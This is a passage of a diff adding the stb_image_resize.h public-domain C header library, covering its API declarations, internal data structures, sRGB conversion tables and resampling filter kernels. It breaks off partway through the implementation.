+      Jorge L Rodriguez: Implementation
+      Sean Barrett: API design, optimizations
+      Aras Pranckevicius: bugfix
+      Nathan Reed: warning fixes
+
+   REVISIONS
+      0.95 (2017-07-23) fixed warnings
+      0.94 (2017-03-18) fixed warnings
+      0.93 (2017-03-03) fixed bug with certain combinations of heights
+      0.92 (2017-01-02) fix integer overflow on large (>2GB) images
+      0.91 (2016-04-02) fix warnings; fix handling of subpixel regions
+      0.90 (2014-09-17) first released version
+
+   LICENSE
+     See end of file for license information.
+
+   TODO
+      Don't decode all of the image data when only processing a partial tile
+      Don't use full-width decode buffers when only processing a partial tile
+      When processing wide images, break processing into tiles so data fits in L1 cache
+      Installable filters?
+      Resize that respects alpha test coverage
+         (Reference code: FloatImage::alphaTestCoverage and FloatImage::scaleAlphaToCoverage:
+         https://code.google.com/p/nvidia-texture-tools/source/browse/trunk/src/nvimage/FloatImage.cpp )
+*/
+
+#ifndef STBIR_INCLUDE_STB_IMAGE_RESIZE_H
+#define STBIR_INCLUDE_STB_IMAGE_RESIZE_H
+
+#ifdef _MSC_VER
+typedef unsigned char  stbir_uint8;
+typedef unsigned short stbir_uint16;
+typedef unsigned int   stbir_uint32;
+#else
+#include <stdint.h>
+typedef uint8_t  stbir_uint8;
+typedef uint16_t stbir_uint16;
+typedef uint32_t stbir_uint32;
+#endif
+
+#ifdef STB_IMAGE_RESIZE_STATIC
+#define STBIRDEF static
+#else
+#ifdef __cplusplus
+#define STBIRDEF extern "C"
+#else
+#define STBIRDEF extern
+#endif
+#endif
+
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// Easy-to-use API:
+//
+//     * "input pixels" points to an array of image data with 'num_channels' channels (e.g. RGB=3, RGBA=4)
+//     * input_w is input image width (x-axis), input_h is input image height (y-axis)
+//     * stride is the offset between successive rows of image data in memory, in bytes. you can
+//       specify 0 to mean packed continuously in memory
+//     * alpha channel is treated identically to other channels.
+//     * colorspace is linear or sRGB as specified by function name
+//     * returned result is 1 for success or 0 in case of an error.
+//       #define STBIR_ASSERT() to trigger an assert on parameter validation errors.
+//     * Memory required grows approximately linearly with input and output size, but with
+//       discontinuities at input_w == output_w and input_h == output_h.
+//     * These functions use a "default" resampling filter defined at compile time. To change the filter,
+//       you can change the compile-time defaults by #defining STBIR_DEFAULT_FILTER_UPSAMPLE
+//       and STBIR_DEFAULT_FILTER_DOWNSAMPLE, or you can use the medium-complexity API.
+
+STBIRDEF int stbir_resize_uint8(     const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels);
+
+STBIRDEF int stbir_resize_float(     const float *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           float *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels);
+
+
+// The following functions interpret image data as gamma-corrected sRGB. 
+// Specify STBIR_ALPHA_CHANNEL_NONE if you have no alpha channel,
+// or otherwise provide the index of the alpha channel. Flags value
+// of 0 will probably do the right thing if you're not sure what
+// the flags mean.
+
+#define STBIR_ALPHA_CHANNEL_NONE       -1
+
+// Set this flag if your texture has premultiplied alpha. Otherwise, stbir will
+// use alpha-weighted resampling (effectively premultiplying, resampling,
+// then unpremultiplying).
+#define STBIR_FLAG_ALPHA_PREMULTIPLIED    (1 << 0)
+// The specified alpha channel should be handled as gamma-corrected value even
+// when doing sRGB operations.
+#define STBIR_FLAG_ALPHA_USES_COLORSPACE  (1 << 1)
+
+STBIRDEF int stbir_resize_uint8_srgb(const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels, int alpha_channel, int flags);
+
+
+typedef enum
+{
+    STBIR_EDGE_CLAMP   = 1,
+    STBIR_EDGE_REFLECT = 2,
+    STBIR_EDGE_WRAP    = 3,
+    STBIR_EDGE_ZERO    = 4,
+} stbir_edge;
+
+// This function adds the ability to specify how requests to sample off the edge of the image are handled.
+STBIRDEF int stbir_resize_uint8_srgb_edgemode(const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                                    unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                              int num_channels, int alpha_channel, int flags,
+                                              stbir_edge edge_wrap_mode);
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// Medium-complexity API
+//
+// This extends the easy-to-use API as follows:
+//
+//     * Alpha-channel can be processed separately
+//       * If alpha_channel is not STBIR_ALPHA_CHANNEL_NONE
+//         * Alpha channel will not be gamma corrected (unless flags&STBIR_FLAG_GAMMA_CORRECT)
+//         * Filters will be weighted by alpha channel (unless flags&STBIR_FLAG_ALPHA_PREMULTIPLIED)
+//     * Filter can be selected explicitly
+//     * uint16 image type
+//     * sRGB colorspace available for all types
+//     * context parameter for passing to STBIR_MALLOC
+
+typedef enum
+{
+    STBIR_FILTER_DEFAULT      = 0,  // use same filter type that easy-to-use API chooses
+    STBIR_FILTER_BOX          = 1,  // A trapezoid w/1-pixel wide ramps, same result as box for integer scale ratios
+    STBIR_FILTER_TRIANGLE     = 2,  // On upsampling, produces same results as bilinear texture filtering
+    STBIR_FILTER_CUBICBSPLINE = 3,  // The cubic b-spline (aka Mitchell-Netrevalli with B=1,C=0), gaussian-esque
+    STBIR_FILTER_CATMULLROM   = 4,  // An interpolating cubic spline
+    STBIR_FILTER_MITCHELL     = 5,  // Mitchell-Netrevalli filter with B=1/3, C=1/3
+} stbir_filter;
+
+typedef enum
+{
+    STBIR_COLORSPACE_LINEAR,
+    STBIR_COLORSPACE_SRGB,
+
+    STBIR_MAX_COLORSPACES,
+} stbir_colorspace;
+
+// The following functions are all identical except for the type of the image data
+
+STBIRDEF int stbir_resize_uint8_generic( const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                               unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context);
+
+STBIRDEF int stbir_resize_uint16_generic(const stbir_uint16 *input_pixels  , int input_w , int input_h , int input_stride_in_bytes,
+                                               stbir_uint16 *output_pixels , int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context);
+
+STBIRDEF int stbir_resize_float_generic( const float *input_pixels         , int input_w , int input_h , int input_stride_in_bytes,
+                                               float *output_pixels        , int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context);
+
+
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// Full-complexity API
+//
+// This extends the medium API as follows:
+//
+//       * uint32 image type
+//     * not typesafe
+//     * separate filter types for each axis
+//     * separate edge modes for each axis
+//     * can specify scale explicitly for subpixel correctness
+//     * can specify image source tile using texture coordinates
+
+typedef enum
+{
+    STBIR_TYPE_UINT8 ,
+    STBIR_TYPE_UINT16,
+    STBIR_TYPE_UINT32,
+    STBIR_TYPE_FLOAT ,
+
+    STBIR_MAX_TYPES
+} stbir_datatype;
+
+STBIRDEF int stbir_resize(         const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context);
+
+STBIRDEF int stbir_resize_subpixel(const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context,
+                                   float x_scale, float y_scale,
+                                   float x_offset, float y_offset);
+
+STBIRDEF int stbir_resize_region(  const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context,
+                                   float s0, float t0, float s1, float t1);
+// (s0, t0) & (s1, t1) are the top-left and bottom right corner (uv addressing style: [0, 1]x[0, 1]) of a region of the input image to use.
+
+//
+//
+////   end header file   /////////////////////////////////////////////////////
+#endif // STBIR_INCLUDE_STB_IMAGE_RESIZE_H
+
+
+
+
+
+#ifdef STB_IMAGE_RESIZE_IMPLEMENTATION
+
+#ifndef STBIR_ASSERT
+#include <assert.h>
+#define STBIR_ASSERT(x) assert(x)
+#endif
+
+// For memset
+#include <string.h>
+
+#include <math.h>
+
+#ifndef STBIR_MALLOC
+#include <stdlib.h>
+// use comma operator to evaluate c, to avoid "unused parameter" warnings
+#define STBIR_MALLOC(size,c) ((void)(c), malloc(size))
+#define STBIR_FREE(ptr,c)    ((void)(c), free(ptr))
+#endif
+
+#ifndef _MSC_VER
+#ifdef __cplusplus
+#define stbir__inline inline
+#else
+#define stbir__inline
+#endif
+#else
+#define stbir__inline __forceinline
+#endif
+
+
+// should produce compiler error if size is wrong
+typedef unsigned char stbir__validate_uint32[sizeof(stbir_uint32) == 4 ? 1 : -1];
+
+#ifdef _MSC_VER
+#define STBIR__NOTUSED(v)  (void)(v)
+#else
+#define STBIR__NOTUSED(v)  (void)sizeof(v)
+#endif
+
+#define STBIR__ARRAY_SIZE(a) (sizeof((a))/sizeof((a)[0]))
+
+#ifndef STBIR_DEFAULT_FILTER_UPSAMPLE
+#define STBIR_DEFAULT_FILTER_UPSAMPLE    STBIR_FILTER_CATMULLROM
+#endif
+
+#ifndef STBIR_DEFAULT_FILTER_DOWNSAMPLE
+#define STBIR_DEFAULT_FILTER_DOWNSAMPLE  STBIR_FILTER_MITCHELL
+#endif
+
+#ifndef STBIR_PROGRESS_REPORT
+#define STBIR_PROGRESS_REPORT(float_0_to_1)
+#endif
+
+#ifndef STBIR_MAX_CHANNELS
+#define STBIR_MAX_CHANNELS 64
+#endif
+
+#if STBIR_MAX_CHANNELS > 65536
+#error "Too many channels; STBIR_MAX_CHANNELS must be no more than 65536."
+// because we store the indices in 16-bit variables
+#endif
+
+// This value is added to alpha just before premultiplication to avoid
+// zeroing out color values. It is equivalent to 2^-80. If you don't want
+// that behavior (it may interfere if you have floating point images with
+// very small alpha values) then you can define STBIR_NO_ALPHA_EPSILON to
+// disable it.
+#ifndef STBIR_ALPHA_EPSILON
+#define STBIR_ALPHA_EPSILON ((float)1 / (1 << 20) / (1 << 20) / (1 << 20) / (1 << 20))
+#endif
+
+
+
+#ifdef _MSC_VER
+#define STBIR__UNUSED_PARAM(v)  (void)(v)
+#else
+#define STBIR__UNUSED_PARAM(v)  (void)sizeof(v)
+#endif
+
+// must match stbir_datatype
+static unsigned char stbir__type_size[] = {
+    1, // STBIR_TYPE_UINT8
+    2, // STBIR_TYPE_UINT16
+    4, // STBIR_TYPE_UINT32
+    4, // STBIR_TYPE_FLOAT
+};
+
+// Kernel function centered at 0
+typedef float (stbir__kernel_fn)(float x, float scale);
+typedef float (stbir__support_fn)(float scale);
+
+typedef struct
+{
+    stbir__kernel_fn* kernel;
+    stbir__support_fn* support;
+} stbir__filter_info;
+
+// When upsampling, the contributors are which source pixels contribute.
+// When downsampling, the contributors are which destination pixels are contributed to.
+typedef struct
+{
+    int n0; // First contributing pixel
+    int n1; // Last contributing pixel
+} stbir__contributors;
+
+typedef struct
+{
+    const void* input_data;
+    int input_w;
+    int input_h;
+    int input_stride_bytes;
+
+    void* output_data;
+    int output_w;
+    int output_h;
+    int output_stride_bytes;
+
+    float s0, t0, s1, t1;
+
+    float horizontal_shift; // Units: output pixels
+    float vertical_shift;   // Units: output pixels
+    float horizontal_scale;
+    float vertical_scale;
+
+    int channels;
+    int alpha_channel;
+    stbir_uint32 flags;
+    stbir_datatype type;
+    stbir_filter horizontal_filter;
+    stbir_filter vertical_filter;
+    stbir_edge edge_horizontal;
+    stbir_edge edge_vertical;
+    stbir_colorspace colorspace;
+
+    stbir__contributors* horizontal_contributors;
+    float* horizontal_coefficients;
+
+    stbir__contributors* vertical_contributors;
+    float* vertical_coefficients;
+
+    int decode_buffer_pixels;
+    float* decode_buffer;
+
+    float* horizontal_buffer;
+
+    // cache these because ceil/floor are inexplicably showing up in profile
+    int horizontal_coefficient_width;
+    int vertical_coefficient_width;
+    int horizontal_filter_pixel_width;
+    int vertical_filter_pixel_width;
+    int horizontal_filter_pixel_margin;
+    int vertical_filter_pixel_margin;
+    int horizontal_num_contributors;
+    int vertical_num_contributors;
+
+    int ring_buffer_length_bytes;   // The length of an individual entry in the ring buffer. The total number of ring buffers is stbir__get_filter_pixel_width(filter)
+    int ring_buffer_num_entries;    // Total number of entries in the ring buffer.
+    int ring_buffer_first_scanline;
+    int ring_buffer_last_scanline;
+    int ring_buffer_begin_index;    // first_scanline is at this index in the ring buffer
+    float* ring_buffer;
+
+    float* encode_buffer; // A temporary buffer to store floats so we don't lose precision while we do multiply-adds.
+
+    int horizontal_contributors_size;
+    int horizontal_coefficients_size;
+    int vertical_contributors_size;
+    int vertical_coefficients_size;
+    int decode_buffer_size;
+    int horizontal_buffer_size;
+    int ring_buffer_size;
+    int encode_buffer_size;
+} stbir__info;
+
+
+static const float stbir__max_uint8_as_float  = 255.0f;
+static const float stbir__max_uint16_as_float = 65535.0f;
+static const double stbir__max_uint32_as_float = 4294967295.0;
+
+
+static stbir__inline int stbir__min(int a, int b)
+{
+    return a < b ? a : b;
+}
+
+static stbir__inline float stbir__saturate(float x)
+{
+    if (x < 0)
+        return 0;
+
+    if (x > 1)
+        return 1;
+
+    return x;
+}
+
+#ifdef STBIR_SATURATE_INT
+static stbir__inline stbir_uint8 stbir__saturate8(int x)
+{
+    if ((unsigned int) x <= 255)
+        return x;
+
+    if (x < 0)
+        return 0;
+
+    return 255;
+}
+
+static stbir__inline stbir_uint16 stbir__saturate16(int x)
+{
+    if ((unsigned int) x <= 65535)
+        return x;
+
+    if (x < 0)
+        return 0;
+
+    return 65535;
+}
+#endif
+
+static float stbir__srgb_uchar_to_linear_float[256] = {
+    0.000000f, 0.000304f, 0.000607f, 0.000911f, 0.001214f, 0.001518f, 0.001821f, 0.002125f, 0.002428f, 0.002732f, 0.003035f,
+    0.003347f, 0.003677f, 0.004025f, 0.004391f, 0.004777f, 0.005182f, 0.005605f, 0.006049f, 0.006512f, 0.006995f, 0.007499f,
+    0.008023f, 0.008568f, 0.009134f, 0.009721f, 0.010330f, 0.010960f, 0.011612f, 0.012286f, 0.012983f, 0.013702f, 0.014444f,
+    0.015209f, 0.015996f, 0.016807f, 0.017642f, 0.018500f, 0.019382f, 0.020289f, 0.021219f, 0.022174f, 0.023153f, 0.024158f,
+    0.025187f, 0.026241f, 0.027321f, 0.028426f, 0.029557f, 0.030713f, 0.031896f, 0.033105f, 0.034340f, 0.035601f, 0.036889f,
+    0.038204f, 0.039546f, 0.040915f, 0.042311f, 0.043735f, 0.045186f, 0.046665f, 0.048172f, 0.049707f, 0.051269f, 0.052861f,
+    0.054480f, 0.056128f, 0.057805f, 0.059511f, 0.061246f, 0.063010f, 0.064803f, 0.066626f, 0.068478f, 0.070360f, 0.072272f,
+    0.074214f, 0.076185f, 0.078187f, 0.080220f, 0.082283f, 0.084376f, 0.086500f, 0.088656f, 0.090842f, 0.093059f, 0.095307f,
+    0.097587f, 0.099899f, 0.102242f, 0.104616f, 0.107023f, 0.109462f, 0.111932f, 0.114435f, 0.116971f, 0.119538f, 0.122139f,
+    0.124772f, 0.127438f, 0.130136f, 0.132868f, 0.135633f, 0.138432f, 0.141263f, 0.144128f, 0.147027f, 0.149960f, 0.152926f,
+    0.155926f, 0.158961f, 0.162029f, 0.165132f, 0.168269f, 0.171441f, 0.174647f, 0.177888f, 0.181164f, 0.184475f, 0.187821f,
+    0.191202f, 0.194618f, 0.198069f, 0.201556f, 0.205079f, 0.208637f, 0.212231f, 0.215861f, 0.219526f, 0.223228f, 0.226966f,
+    0.230740f, 0.234551f, 0.238398f, 0.242281f, 0.246201f, 0.250158f, 0.254152f, 0.258183f, 0.262251f, 0.266356f, 0.270498f,
+    0.274677f, 0.278894f, 0.283149f, 0.287441f, 0.291771f, 0.296138f, 0.300544f, 0.304987f, 0.309469f, 0.313989f, 0.318547f,
+    0.323143f, 0.327778f, 0.332452f, 0.337164f, 0.341914f, 0.346704f, 0.351533f, 0.356400f, 0.361307f, 0.366253f, 0.371238f,
+    0.376262f, 0.381326f, 0.386430f, 0.391573f, 0.396755f, 0.401978f, 0.407240f, 0.412543f, 0.417885f, 0.423268f, 0.428691f,
+    0.434154f, 0.439657f, 0.445201f, 0.450786f, 0.456411f, 0.462077f, 0.467784f, 0.473532f, 0.479320f, 0.485150f, 0.491021f,
+    0.496933f, 0.502887f, 0.508881f, 0.514918f, 0.520996f, 0.527115f, 0.533276f, 0.539480f, 0.545725f, 0.552011f, 0.558340f,
+    0.564712f, 0.571125f, 0.577581f, 0.584078f, 0.590619f, 0.597202f, 0.603827f, 0.610496f, 0.617207f, 0.623960f, 0.630757f,
+    0.637597f, 0.644480f, 0.651406f, 0.658375f, 0.665387f, 0.672443f, 0.679543f, 0.686685f, 0.693872f, 0.701102f, 0.708376f,
+    0.715694f, 0.723055f, 0.730461f, 0.737911f, 0.745404f, 0.752942f, 0.760525f, 0.768151f, 0.775822f, 0.783538f, 0.791298f,
+    0.799103f, 0.806952f, 0.814847f, 0.822786f, 0.830770f, 0.838799f, 0.846873f, 0.854993f, 0.863157f, 0.871367f, 0.879622f,
+    0.887923f, 0.896269f, 0.904661f, 0.913099f, 0.921582f, 0.930111f, 0.938686f, 0.947307f, 0.955974f, 0.964686f, 0.973445f,
+    0.982251f, 0.991102f, 1.0f
+};
+
+static float stbir__srgb_to_linear(float f)
+{
+    if (f <= 0.04045f)
+        return f / 12.92f;
+    else
+        return (float)pow((f + 0.055f) / 1.055f, 2.4f);
+}
+
+static float stbir__linear_to_srgb(float f)
+{
+    if (f <= 0.0031308f)
+        return f * 12.92f;
+    else
+        return 1.055f * (float)pow(f, 1 / 2.4f) - 0.055f;
+}
+
+#ifndef STBIR_NON_IEEE_FLOAT
+// From https://gist.github.com/rygorous/2203834
+
+typedef union
+{
+    stbir_uint32 u;
+    float f;
+} stbir__FP32;
+
+static const stbir_uint32 fp32_to_srgb8_tab4[104] = {
+    0x0073000d, 0x007a000d, 0x0080000d, 0x0087000d, 0x008d000d, 0x0094000d, 0x009a000d, 0x00a1000d,
+    0x00a7001a, 0x00b4001a, 0x00c1001a, 0x00ce001a, 0x00da001a, 0x00e7001a, 0x00f4001a, 0x0101001a,
+    0x010e0033, 0x01280033, 0x01410033, 0x015b0033, 0x01750033, 0x018f0033, 0x01a80033, 0x01c20033,
+    0x01dc0067, 0x020f0067, 0x02430067, 0x02760067, 0x02aa0067, 0x02dd0067, 0x03110067, 0x03440067,
+    0x037800ce, 0x03df00ce, 0x044600ce, 0x04ad00ce, 0x051400ce, 0x057b00c5, 0x05dd00bc, 0x063b00b5,
+    0x06970158, 0x07420142, 0x07e30130, 0x087b0120, 0x090b0112, 0x09940106, 0x0a1700fc, 0x0a9500f2,
+    0x0b0f01cb, 0x0bf401ae, 0x0ccb0195, 0x0d950180, 0x0e56016e, 0x0f0d015e, 0x0fbc0150, 0x10630143,
+    0x11070264, 0x1238023e, 0x1357021d, 0x14660201, 0x156601e9, 0x165a01d3, 0x174401c0, 0x182401af,
+    0x18fe0331, 0x1a9602fe, 0x1c1502d2, 0x1d7e02ad, 0x1ed4028d, 0x201a0270, 0x21520256, 0x227d0240,
+    0x239f0443, 0x25c003fe, 0x27bf03c4, 0x29a10392, 0x2b6a0367, 0x2d1d0341, 0x2ebe031f, 0x304d0300,
+    0x31d105b0, 0x34a80555, 0x37520507, 0x39d504c5, 0x3c37048b, 0x3e7c0458, 0x40a8042a, 0x42bd0401,
+    0x44c20798, 0x488e071e, 0x4c1c06b6, 0x4f76065d, 0x52a50610, 0x55ac05cc, 0x5892058f, 0x5b590559,
+    0x5e0c0a23, 0x631c0980, 0x67db08f6, 0x6c55087f, 0x70940818, 0x74a007bd, 0x787d076c, 0x7c330723,
+};
+ 
+static stbir_uint8 stbir__linear_to_srgb_uchar(float in)
+{
+    static const stbir__FP32 almostone = { 0x3f7fffff }; // 1-eps
+    static const stbir__FP32 minval = { (127-13) << 23 };
+    stbir_uint32 tab,bias,scale,t;
+    stbir__FP32 f;
+ 
+    // Clamp to [2^(-13), 1-eps]; these two values map to 0 and 1, respectively.
+    // The tests are carefully written so that NaNs map to 0, same as in the reference
+    // implementation.
+    if (!(in > minval.f)) // written this way to catch NaNs
+        in = minval.f;
+    if (in > almostone.f)
+        in = almostone.f;
+ 
+    // Do the table lookup and unpack bias, scale
+    f.f = in;
+    tab = fp32_to_srgb8_tab4[(f.u - minval.u) >> 20];
+    bias = (tab >> 16) << 9;
+    scale = tab & 0xffff;
+ 
+    // Grab next-highest mantissa bits and perform linear interpolation
+    t = (f.u >> 12) & 0xff;
+    return (unsigned char) ((bias + scale*t) >> 16);
+}
+
+#else
+// sRGB transition values, scaled by 1<<28
+static int stbir__srgb_offset_to_linear_scaled[256] =
+{
+            0,     40738,    122216,    203693,    285170,    366648,    448125,    529603,
+       611080,    692557,    774035,    855852,    942009,   1033024,   1128971,   1229926,
+      1335959,   1447142,   1563542,   1685229,   1812268,   1944725,   2082664,   2226148,
+      2375238,   2529996,   2690481,   2856753,   3028870,   3206888,   3390865,   3580856,
+      3776916,   3979100,   4187460,   4402049,   4622919,   4850123,   5083710,   5323731,
+      5570236,   5823273,   6082892,   6349140,   6622065,   6901714,   7188133,   7481369,
+      7781466,   8088471,   8402427,   8723380,   9051372,   9386448,   9728650,  10078021,
+     10434603,  10798439,  11169569,  11548036,  11933879,  12327139,  12727857,  13136073,
+     13551826,  13975156,  14406100,  14844697,  15290987,  15745007,  16206795,  16676389,
+     17153826,  17639142,  18132374,  18633560,  19142734,  19659934,  20185196,  20718552,
+     21260042,  21809696,  22367554,  22933648,  23508010,  24090680,  24681686,  25281066,
+     25888850,  26505076,  27129772,  27762974,  28404716,  29055026,  29713942,  30381490,
+     31057708,  31742624,  32436272,  33138682,  33849884,  34569912,  35298800,  36036568,
+     36783260,  37538896,  38303512,  39077136,  39859796,  40651528,  41452360,  42262316,
+     43081432,  43909732,  44747252,  45594016,  46450052,  47315392,  48190064,  49074096,
+     49967516,  50870356,  51782636,  52704392,  53635648,  54576432,  55526772,  56486700,
+     57456236,  58435408,  59424248,  60422780,  61431036,  62449032,  63476804,  64514376,
+     65561776,  66619028,  67686160,  68763192,  69850160,  70947088,  72053992,  73170912,
+     74297864,  75434880,  76581976,  77739184,  78906536,  80084040,  81271736,  82469648,
+     83677792,  84896192,  86124888,  87363888,  88613232,  89872928,  91143016,  92423512,
+     93714432,  95015816,  96327688,  97650056,  98982952, 100326408, 101680440, 103045072,
+    104420320, 105806224, 107202800, 108610064, 110028048, 111456776, 112896264, 114346544,
+    115807632, 117279552, 118762328, 120255976, 121760536, 123276016, 124802440, 126339832,
+    127888216, 129447616, 131018048, 132599544, 134192112, 135795792, 137410592, 139036528,
+    140673648, 142321952, 143981456, 145652208, 147334208, 149027488, 150732064, 152447968,
+    154175200, 155913792, 157663776, 159425168, 161197984, 162982240, 164777968, 166585184,
+    168403904, 170234160, 172075968, 173929344, 175794320, 177670896, 179559120, 181458992,
+    183370528, 185293776, 187228736, 189175424, 191133888, 193104112, 195086128, 197079968,
+    199085648, 201103184, 203132592, 205173888, 207227120, 209292272, 211369392, 213458480,
+    215559568, 217672656, 219797792, 221934976, 224084240, 226245600, 228419056, 230604656,
+    232802400, 235012320, 237234432, 239468736, 241715280, 243974080, 246245120, 248528464,
+    250824112, 253132064, 255452368, 257785040, 260130080, 262487520, 264857376, 267239664,
+};
+
+static stbir_uint8 stbir__linear_to_srgb_uchar(float f)
+{
+    int x = (int) (f * (1 << 28)); // has headroom so you don't need to clamp
+    int v = 0;
+    int i;
+
+    // Refine the guess with a short binary search.
+    i = v + 128; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +  64; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +  32; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +  16; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +   8; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +   4; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +   2; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +   1; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+
+    return (stbir_uint8) v;
+}
+#endif
+
+static float stbir__filter_trapezoid(float x, float scale)
+{
+    float halfscale = scale / 2;
+    float t = 0.5f + halfscale;
+    STBIR_ASSERT(scale <= 1);
+
+    x = (float)fabs(x);
+
+    if (x >= t)
+        return 0;
+    else
+    {
+        float r = 0.5f - halfscale;
+        if (x <= r)
+            return 1;
+        else
+            return (t - x) / scale;
+    }
+}
+
+static float stbir__support_trapezoid(float scale)
+{
+    STBIR_ASSERT(scale <= 1);
+    return 0.5f + scale / 2;
+}
+
+static float stbir__filter_triangle(float x, float s)
+{
+    STBIR__UNUSED_PARAM(s);
+
+    x = (float)fabs(x);
+
+    if (x <= 1.0f)
+        return 1 - x;
+    else
+        return 0;
+}
+
+static float stbir__filter_cubic(float x, float s)
+{
+    STBIR__UNUSED_PARAM(s);
+
+    x = (float)fabs(x);
+
+    if (x < 1.0f)
+        return (4 + x*x*(3*x - 6))/6;
+    else if (x < 2.0f)
+        return (8 + x*(-12 + x*(6 - x)))/6;
+
+    return (0.0f);
+}
+
+static float stbir__filter_catmullrom(float x, float s)
+{
+    STBIR__UNUSED_PARAM(s);
+
+    x = (float)fabs(x);
+
+    if (x < 1.0f)
+        return 1 - x*x*(2.5f - 1.5f*x);
+    else if (x < 2.0f)
+        return 2 - x*(4 + x*(0.5f*x - 2.5f));
+
+    return (0.0f);
+}
+
+static float stbir__filter_mitchell(float x, float s)
+{
+    STBIR__UNUSED_PARAM(s);
+
+    x = (float)fabs(x);
+
+    if (x < 1.0f)
+        return (16 + x*x*(21 * x - 36))/18;
+    else if (x < 2.0f)
+        return (32 + x*(-60 + x*(36 - 7*x)))/18;
+
+    return (0.0f);
+}
+
+static float stbir__support_zero(float s)
+{
+    STBIR__UNUSED_PARAM(s);
+    return 0;
+}
+
+static float stbir__support_one(float s)
+{
+    STBIR__UNUSED_PARAM(s);
+    return 1;
+}
+
+static float stbir__support_two(float s)
+{
+    STBIR__UNUSED_PARAM(s);
+    return 2;
+}
+
+static stbir__filter_info stbir__filter_info_table[] = {
+        { NULL,                     stbir__support_zero },
+        { stbir__filter_trapezoid,  stbir__support_trapezoid },
+        { stbir__filter_triangle,   stbir__support_one },
+        { stbir__filter_cubic,      stbir__support_two },
+        { stbir__filter_catmullrom, stbir__support_two },
+        { stbir__filter_mitchell,   stbir__support_two },
+};
+
+stbir__inline static int stbir__use_upsampling(float ratio)
+{
+    return ratio > 1;
+}
+
+stbir__inline static int stbir__use_width_upsampling(stbir__info* stbir_info)
+{
+    return stbir__use_upsampling(stbir_info->horizontal_scale);
+}
+
+stbir__inline static int stbir__use_height_upsampling(stbir__info* stbir_info)
+{
+    return stbir__use_upsampling(stbir_info->vertical_scale);
+}
+
+// This is the maximum number of input samples that can affect an output sample
+// with the given filter
+static int stbir__get_filter_pixel_width(stbir_filter filter, float scale)
+{
+    STBIR_ASSERT(filter != 0);
+    STBIR_ASSERT(filter < STBIR__ARRAY_SIZE(stbir__filter_info_table));
+
+    if (stbir__use_upsampling(scale))
+        return (int)ceil(stbir__filter_info_table[filter].support(1/scale) * 2);
+    else
+        return (int)ceil(stbir__filter_info_table[filter].support(scale) * 2 / scale);
+}
+
+// This is how much to expand buffers to account for filters seeking outside
+// the image boundaries.
+static int stbir__get_filter_pixel_margin(stbir_filter filter, float scale)
+{
+    return stbir__get_filter_pixel_width(filter, scale) / 2;
+}
+
+static int stbir__get_coefficient_width(stbir_filter filter, float scale)
+{
+    if (stbir__use_upsampling(scale))
+        return (int)ceil(stbir__filter_info_table[filter].support(1 / scale) * 2);
+    else
+        return (int)ceil(stbir__filter_info_table[filter].support(scale) * 2);
+}
+
+static int stbir__get_contributors(float scale, stbir_filter filter, int input_size, int output_size)
+{
+    if (stbir__use_upsampling(scale))
+        return output_size;
+    else
+        return (input_size + stbir__get_filter_pixel_margin(filter, scale) * 2);
+}
+
+static int stbir__get_total_horizontal_coefficients(stbir__info* info)
+{
+    return info->horizontal_num_contributors
+         * stbir__get_coefficient_width      (info->horizontal_filter, info->horizontal_scale);
+}
+
+static int stbir__get_total_vertical_coefficients(stbir__info* info)
+{
+    return info->vertical_num_contributors
+         * stbir__get_coefficient_width      (info->vertical_filter, info->vertical_scale);
+}
+
+static stbir__contributors* stbir__get_contributor(stbir__contributors* contributors, int n)
+{
+    return &contributors[n];
+}
+
